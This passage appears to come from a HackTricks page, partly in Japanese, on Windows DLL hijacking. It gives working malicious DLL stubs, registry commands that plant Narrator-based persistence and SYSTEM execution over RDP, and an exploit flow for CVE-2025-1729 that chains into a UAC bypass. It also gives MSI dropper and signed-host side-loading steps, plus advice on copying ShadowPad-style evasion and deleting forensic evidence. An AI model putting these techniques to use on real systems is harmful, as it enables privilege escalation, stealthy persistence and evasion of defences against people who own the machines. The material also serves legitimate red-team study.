#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## ケーススタディ: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows の Narrator.exe は起動時に予測可能な言語固有の localization DLL をプローブし、これをハイジャックすることで任意のコード実行と永続化が可能です。

Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.

Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.

最小限のDLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

OPSEC を保つ

• A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (OpenThread(THREAD_SUSPEND_RESUME)) and SuspendThread it; continue in your own thread. See PoC for full code.

Trigger and persistence via Accessibility configuration

• User context (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator.

RDP-triggered SYSTEM execution (lateral movement)

• Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
• RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
• Execution stops when the RDP session closes—inject/migrate promptly.

Bring Your Own Accessibility (BYOA)

• You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set configuration to that AT name. This proxies arbitrary execution under the Accessibility framework.

Notes

• Writing under %windir%\System32 and changing HKLM values requires admin rights.
• All payload logic can live in DLL_PROCESS_ATTACH; no exports are needed.

Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

This case demonstrates Phantom DLL Hijacking in Lenovo’s TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.

脆弱性の詳細

• Component: TPQMAssistant.exe located at C:\ProgramData\Lenovo\TPQM\Assistant\.
• Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask runs daily at 9:30 AM under the context of the logged-on user.
• Directory Permissions: Writable by CREATOR OWNER, allowing local users to drop arbitrary files.
• DLL Search Behavior: Attempts to load hostfxr.dll from its working directory first and logs “NAME NOT FOUND” if missing, indicating local directory search precedence.

エクスプロイトの実装

An attacker can place a malicious hostfxr.dll stub in the same directory, exploiting the missing DLL to achieve code execution under the user’s context:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

攻撃フロー

1. 標準ユーザとして、hostfxr.dll を C:\ProgramData\Lenovo\TPQM\Assistant\ に置く。
2. スケジュールされたタスクが現在のユーザコンテキストで午前9:30に実行されるのを待つ。
3. タスク実行時に管理者がログオンしていると、悪意のあるDLLが管理者セッションで medium integrity の権限で実行される。
4. 標準的な UAC バイパス手法を連鎖させ、medium integrity から SYSTEM 権限へ昇格する。

事例: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

Threat actors はしばしば MSI ベースの dropper を DLL side-loading と組み合わせ、信頼された署名済みプロセスの下でペイロードを実行する。

Chain overview

• ユーザが MSI をダウンロードする。GUI インストール中に CustomAction がサイレントで実行され（例：LaunchApplication や VBScript アクション）、埋め込まれたリソースから次段を再構築する。
• dropper は正当な署名済み EXE と悪意ある DLL を同じディレクトリに書き込む（例: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll）。
• 署名済み EXE が起動されると、Windows の DLL 検索順により作業ディレクトリから最初に wsc.dll がロードされ、署名済み親プロセスの下で攻撃者コードが実行される（ATT&CK T1574.001）。

MSI analysis (what to look for)

• CustomAction テーブル：
• 実行ファイルや VBScript を実行するエントリを探す。疑わしいパターンの例：LaunchApplication がバックグラウンドで埋め込みファイルを実行する。
• Orca (Microsoft Orca.exe) で、CustomAction、InstallExecuteSequence、Binary テーブルを確認する。
• MSI CAB 内の埋め込み／分割ペイロード：
• 管理者抽出: msiexec /a package.msi /qb TARGETDIR=C:\out
• または lessmsi を使用: lessmsi x package.msi C:\out
• VBScript CustomAction によって連結・復号される複数の小さな断片を探す。よくある流れ：

' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

wsc_proxy.exe を使った実践的な sideloading

• 次の2つのファイルを同じフォルダに配置してください:
• wsc_proxy.exe: 正規署名済みホスト (Avast)。プロセスはそのディレクトリから名前で wsc.dll をロードしようとします。
• wsc.dll: attacker DLL。特定のエクスポートが不要であれば DllMain で十分です；そうでない場合は proxy DLL を作成し、DllMain で payload を実行しながら必要なエクスポートを正規ライブラリへフォワードしてください。
• 最小限の DLL payload をビルドする:

// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}

• エクスポート要件がある場合、プロキシングフレームワーク（例: DLLirant/Spartacus）を使用して、ペイロードも実行するフォワーディングDLLを生成します。

• この手法はホストバイナリによるDLL名解決に依存します。ホストが絶対パスや安全な読み込みフラグ（例: LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories）を使用している場合、hijackは失敗する可能性があります。

• KnownDLLs、SxS、および forwarded exports は優先順位に影響し、ホストバイナリやエクスポートセットの選択時に考慮する必要があります。

署名された三点セット＋暗号化ペイロード（ShadowPad ケーススタディ）

Check Pointは、Ink DragonがShadowPadをディスク上でコアペイロードを暗号化したまま正当なソフトウェアに紛れ込ませるために、three-file triad を使用して展開する方法を説明しています:

1. Signed host EXE – AMD、Realtek、NVIDIA のようなベンダーが悪用される（vncutil64.exe、ApplicationLogs.exe、msedge_proxyLog.exe）。攻撃者は実行ファイルの名前を Windows バイナリに見えるように変更する（例: conhost.exe）が、Authenticode 署名は有効なままである。
2. Malicious loader DLL – EXEの隣に期待される名前でドロップされる（vncutil64loc.dll、atiadlxy.dll、msedge_proxyLogLOC.dll）。このDLLは通常、ScatterBrain フレームワークで難読化された MFC バイナリであり、その唯一の役割は暗号化されたブロブを検出して復号し、ShadowPad をリフレクティブにマップすることである。
3. Encrypted payload blob – 多くの場合、同じディレクトリに <name>.tmp として保存される。復号したペイロードをメモリマッピングした後、ローダはフォレンジック証拠を破壊するためにTMPファイルを削除する。

Tradecraft notes:

• 署名されたEXEの名前を変更しても（PEヘッダ内の元の OriginalFileName を保持したまま）Windowsバイナリのように見せかけつつベンダーの署名を保持できるため、実際には AMD/NVIDIA のユーティリティである conhost.exe 風のバイナリを配置する Ink Dragon の手口を再現すると良い。
• 実行ファイルが信頼されたままであるため、ほとんどの許可リスト制御は悪意あるDLLが並んで配置されているだけで足りる。loader DLL のカスタマイズに注力せよ；署名された親は通常そのまま実行できる。
• ShadowPad の復号器は TMP ブロブがローダの隣にあり、マッピング後にファイルをゼロ化できるよう書き込み可能であることを期待する。ペイロードがロードされるまでディレクトリを可書きにしておき、メモリ上に展開されたら TMP ファイルはOPSECの観点から安全に削除できる。

References

• CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
• Microsoft Store - TPQM Assistant UWP
• https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
• https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
• Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe
• TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers
• PoC – api0cradle/Narrator-dll
• Sysinternals Process Monitor
• Unit 42 – Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
• Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。